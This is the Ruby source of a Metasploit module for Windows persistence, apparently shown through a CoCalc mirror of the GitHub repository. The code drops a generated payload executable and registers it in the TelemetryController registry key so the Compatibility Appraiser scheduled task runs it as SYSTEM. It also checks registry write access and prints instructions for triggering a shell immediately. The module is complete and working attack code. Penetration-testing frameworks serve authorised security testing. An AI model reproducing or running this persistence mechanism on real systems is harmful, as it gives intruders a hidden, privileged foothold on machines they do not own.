Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/telemetry.rb
59979 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Telemetry Persistence',
21
'Description' => %q{
22
This persistence mechanism installs a new telemetry provider for windows. If telemetry is turned on,
23
when the scheduled task launches, it will execute the telemetry provider and execute our payload
24
with system permissions.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die',
29
],
30
'Platform' => [ 'win' ],
31
'SessionTypes' => [ 'meterpreter' ],
32
'Targets' => [
33
[ 'Automatic', {} ]
34
],
35
'References' => [
36
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
37
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
38
['URL', 'https://pentestlab.blog/2023/11/06/persistence-windows-telemetry/']
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2023-11-06',
42
'Notes' => {
43
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
44
'Stability' => [CRASH_SAFE],
45
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
52
OptString.new('NAME', [false, 'Name of the telemetry program. Random string as default.']),
53
])
54
end
55
56
def regkey
57
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController'
58
end
59
60
def writable_dir
61
d = super
62
return session.sys.config.getenv(d) if d.start_with?('%')
63
64
d
65
end
66
67
def check
68
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
69
70
vprint_good('Powershell detected on system')
71
72
# Check if the scheduled task is enabled (aka it has a next run time)
73
# determine if we have Appraiser or Appraiser Exp, its not clear when the change happened, but my windows 11 uses Exp and windows 10 doesn't
74
['Microsoft Compatibility Appraiser Exp', 'Microsoft Compatibility Appraiser'].each do |appraiser_name|
75
@appraiser_name = appraiser_name
76
@next_run_time = cmd_exec(%(schtasks /query /tn "\\Microsoft\\Windows\\Application Experience\\#{appraiser_name}" /fo list /v))
77
break unless @next_run_time.include? 'ERROR'
78
end
79
print_status("Appraiser name found: #{@appraiser_name}")
80
@next_run_time = begin
81
@next_run_time.match(/Next Run Time:\s+(.+?)\r/)[1]
82
rescue StandardError
83
nil
84
end
85
return Msf::Exploit::CheckCode::Safe('Scheduled task for telemetry is disabled') if @next_run_time.strip.end_with?('N/A')
86
87
print_good("Next scheduled runtime: #{@next_run_time.strip}")
88
89
# test write to see if we have access
90
rand = Rex::Text.rand_text_alpha((rand(6..13)))
91
92
vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
93
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?
94
95
registry_deletekey("#{regkey}\\#{rand}")
96
97
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
98
end
99
100
def install_persistence
101
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
102
payload_exe = generate_payload_exe
103
payload_pathname = writable_dir + '\\' + payload_name + '.exe'
104
vprint_good("Writing payload to #{payload_pathname}")
105
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
106
107
telemetry = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
108
109
print_status("Using telemetry id: #{telemetry}")
110
registry_createkey("#{regkey}\\#{telemetry}")
111
registry_setvaldata("#{regkey}\\#{telemetry}", 'Command', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
112
registry_setvaldata("#{regkey}\\#{telemetry}", 'Nightly', 1, 'REG_DWORD')
113
114
print_good 'Persistence installed! Call a shell immediately using '\
115
"'schtasks /run /tn \"\\Microsoft\\Windows\\Application Experience\\#{@appraiser_name}\"' (SYSTEM)" \
116
' or CompatTelRunner.exe (user)'
117
print_line(" or wait till #{@next_run_time} (SYSTEM)")
118
119
@clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{telemetry}\\\" /f" -H\n)
120
@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
121
end
122
end
123
124